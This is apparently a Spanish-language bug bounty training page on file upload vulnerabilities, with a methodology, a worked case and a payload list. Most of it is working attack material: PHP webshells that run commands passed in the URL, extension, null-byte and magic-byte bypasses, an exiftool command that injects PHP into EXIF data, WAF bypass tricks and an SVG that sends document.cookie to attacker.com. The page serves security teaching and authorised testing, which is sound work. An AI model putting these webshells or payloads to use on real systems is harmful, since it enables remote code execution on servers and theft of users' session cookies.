File Upload Vulnerabilities

Subida de archivos maliciosos para ejecución de código

Respuesta rápida

¿Qué es File Upload Vulnerabilities?

Las vulnerabilidades de file upload permiten subir archivos maliciosos que el servidor ejecuta (webshells) o que contienen payloads (SVGs con JavaScript, imágenes con código en EXIF).

Severidad

Crítico

Frecuencia

Común

Payloads

13

Pasos

6

Severidad

Crítico

Frecuencia

Común

Payloads

13

File upload es una superficie de ataque amplia: bypass de extensiones, manipulación de Content-Type, polyglot files, .htaccess override, y más. El objetivo final suele ser subir un webshell que permita ejecutar comandos en el servidor.

Ejecución remota de código (RCE)Webshell persistenteXSS vía SVG/HTMLDefacementAcceso a archivos del servidor

Dónde buscar

Avatar / foto de perfil

El vector más común. Prueba SVG, doble extensión, null byte.

Subida de documentos

CVs, facturas, informes. Extensiones permitidas suelen ser más amplias.

Import de archivos

CSV, XML, JSON imports pueden procesar contenido peligroso.

Editores de contenido

Inserciones de imagen en editores WYSIWYG.

Export/Import de config

Funcionalidades de backup/restore que aceptan archivos arbitrarios.

Metodología

1

Subir archivo legítimo

Analiza: dónde se almacena (URL), qué headers devuelve, si se renombra.

2

Probar extensiones

Cambia .jpg → .php, .phtml, .php5, .phar. Prueba doble extensión: shell.php.jpg

3

Manipular Content-Type

Envía PHP con Content-Type: image/jpeg en el request.

4

Null byte

shell.php%00.jpg — algunos parsers truncan en el null byte.

5

Probar SVG

Sube un SVG con <svg onload=alert(1)>. Si se renderiza, tienes XSS.

6

Si todo falla: .htaccess

Sube un .htaccess que redefina qué extensiones se ejecutan como PHP.

Caso real

File Upload bypass vía .htaccess + extensión custom → RCE

$1,500
1

Restricción detectada

La app bloquea .php, .phtml, .phar y todas las extensiones PHP conocidas.

2

Subir .htaccess

Upload de .htaccess con: AddType application/x-httpd-php .l33t — redefine la extensión .l33t como PHP.

3

Subir webshell con extensión custom

Upload de exploit.l33t con contenido: <?php system($_GET['cmd']); ?>

4

Ejecutar comandos

GET /uploads/exploit.l33t?cmd=whoami → responde con el usuario del servidor.

Lección: Si la app permite subir .htaccess, puedes redefinir completamente qué extensiones se ejecutan. Es un bypass total de la blacklist de extensiones.

Payloads

Extensiones PHP alternativas

.phtml  .php5  .phar  .pgif  .shtml  .inc  .phps

Doble extensión

shell.php.jpg  |  shell.php.png  |  shell.phtml.gif

Null byte

shell.php%00.jpg  |  shell.php\x00.jpg

Case variation

shell.pHp  |  shell.PHP5  |  shell.PhAr

SVG XSS

<svg xmlns='http://www.w3.org/2000/svg' onload='alert(document.domain)'/>

Trailing chars

shell.php.  |  shell.php/  |  shell.php%20  |  shell.php......

Payloads avanzados(requiere cuenta)

Webshell mínimo

<?php system($_GET['cmd']);?>

Webshell 1 char

<?=`$_GET[0]`?>

.htaccess override

AddType application/x-httpd-php .l33t

SVG con redirect

<svg onload="window.location='https://attacker.com/'+document.cookie">

Magic bytes bypass

GIF89a\n<?php system($_GET['cmd']); ?>  (prepend GIF magic bytes)

Polyglot JPG/PHP

Imagen JPEG válida con código PHP inyectado en campo EXIF Comment

MIME comma trick

Content-Type: application/json;,text/html  → server=json, browser=html

Contenido exclusivo

Crea tu cuenta gratis para acceder a payloads avanzados, scripts y técnicas de bypass

Crear cuenta gratis

Herramientas

exiftool

Inyecta código PHP en metadatos EXIF de una imagen legítima.

exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg

Burp Repeater

Manipulación manual de todos los parámetros del upload.

Intercepta upload → modifica filename + Content-Type → reenvía

fuxploider

Automatiza pruebas de bypass de file upload.

python3 fuxploider.py --url https://target.com/upload

WAF Bypass

Doble Content-Disposition

Content-Disposition: form-data; name="file"; filename="safe.jpg"\nContent-Disposition: form-data; name="file"; filename="shell.php"

Boundary confusion

Usar dos boundaries diferentes — WAF parsea con el primero, app con el segundo

Tips

Prueba siempre SVG

Muchos filtros permiten SVG porque es 'imagen'. Un SVG puede ejecutar JavaScript en el navegador.

Revisa dónde se guarda

Si el archivo se sirve desde el mismo dominio con Content-Type incorrecto, puede haber XSS o ejecución.

.htaccess es devastador

Si puedes subir .htaccess, controlas completamente qué se ejecuta en ese directorio.

EXIF como vector

Si la app no limpia metadatos EXIF, puedes inyectar payloads que se ejecutan al procesar la imagen.

650

hunters entrenando

50

labs de hackeos reales

380

completaciones

$12.000

pagados por estos bugs

40 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis
Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

Practica File Upload Vulnerabilities con labs reales

Aplica estas técnicas en entornos seguros basados en reportes reales de bug bounty.

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.